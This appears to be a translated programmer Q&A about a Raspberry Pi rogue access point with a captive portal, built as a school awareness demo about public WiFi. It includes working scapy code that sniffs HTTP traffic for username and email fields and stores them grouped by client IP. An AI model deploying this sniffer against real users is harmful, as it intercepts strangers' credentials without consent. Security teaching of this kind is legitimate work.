在我正在做的学校项目方面,我需要帮助。将Raspberry Pi设置为运行强制门户的无线访问点,我们要在此警告用户使用公共WiFi的危险。目标是嗅探通过HTTP输入的所有电子邮件地址,并将它们收集在文件或数据库中,以区分客户端,以供以后提取。
当用户通过电子邮件地址进行身份验证时,运行scapy的python脚本会提取wlan1(运行AP)上包含电子邮件地址的所有数据包,并将这些电子邮件存储到文本文件中(此方法有效)。
我希望嗅探器存储所有经过的电子邮件,但是我需要分开存储信息的位置,以便使用IP 10.0.0.10从客户端输入的电子邮件地址被存储在一个位置,而所有电子邮件都来自使用IP 10.0.0.20的客户端单独存储。在会话结束时,我要提取给定IP输入的所有电子邮件,并使用最初在强制门户中输入的电子邮件地址将此列表通过电子邮件发送给他们。
我对数据库或PHP不太满意,我不确定如何才能最好地解决此问题。因此,任何想法或建议都将不胜感激。
现在,嗅探器会将通过接口的所有电子邮件地址附加到一个名为“ creds.txt”的文本文件中。问题在于无法知道哪个客户输入了什么值。
sniffer.py
:
from scapy.all import *
import re
def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]
for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()
if username != None:
return username
def ctp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
if creds != None:
print(creds)
with open("creds.txt", 'a+') as uf:
uf.write(str(creds))
uf.write('\n')
else:
pass
print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface
我希望将不同客户端嗅探到的电子邮件分开,以便以后根据客户端的某些标识符进行提取。 它不一定必须在python嗅探器内完成,但不确定如何使用html或javascript
答案 0 :(得分:1)
您要处理的用户数量是多少?
我假设您还使用相同的python代码发送邮件。
如果用户数量不是太多,并且所有数据都适合RAM (在Raspberry Pi上很小),我会走简单的路,并与客户端创建字典标识符作为键。
如@ Cukic0d所建议,您可以将源IP用作标识符。它将具有这样的结构:
{
"1.2.3.4": ["john1@doe.com", "john2@doe.com", "toto@tata.net"],
"10.12.43.34": ["test1@doe.com", "hey@jude.com", "spam@me.net"],
}
修改后的代码(未经测试):
from scapy.all import *
import re
def get_credentials(source):
username = None
userfields = ['username', 'user', 'name', 'login', 'nickname', 'userfield', 'login-name', 'log',
"email", "login-id", 'user-name', 'userID', 'userid', 'user-id', 'login_name', 'login-name', 'login-user', 'login_user', 'account', 'acc-name',
"account-user", "account-name"]
for login in userfields:
user = re.search('(%s=[^&]+)' % login, source, re.IGNORECASE)
if user:
username = user.group()
if username != None:
return username
def ctp(pkt):
global harvested_credentials
if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP):
mains = str(bytes(pkt[TCP].payload))
source = str(pkt[TCP].payload)
creds = get_credentials(source)
ip_src = pkt[IP].src # Identifier
if creds != None:
print(creds)
# If IP Src is new, we create the item
if ip_src not in harvested_credentials:
harvested_credentials[ip_src] = []
# Adding the credentials for this identifier
harvested_credentials[ip_src].append(creds)
else:
pass
# The dictionary to store harvested credentials
harvested_credentials = {}
print('[+] SNIFFING! Storing emails in creds.txt. ')
sniff(iface="wlan1", prn=ctp, store=0) # lo is my Local Loopback interface
然后是发送邮件的时间,您遍历列表以构建电子邮件,然后使用del
statement删除dict键:del harvested_credentials[ip]
如果您不使用与收集电子邮件相同的代码来生成电子邮件,则可以将dict保存为json文件并将其导入发送代码中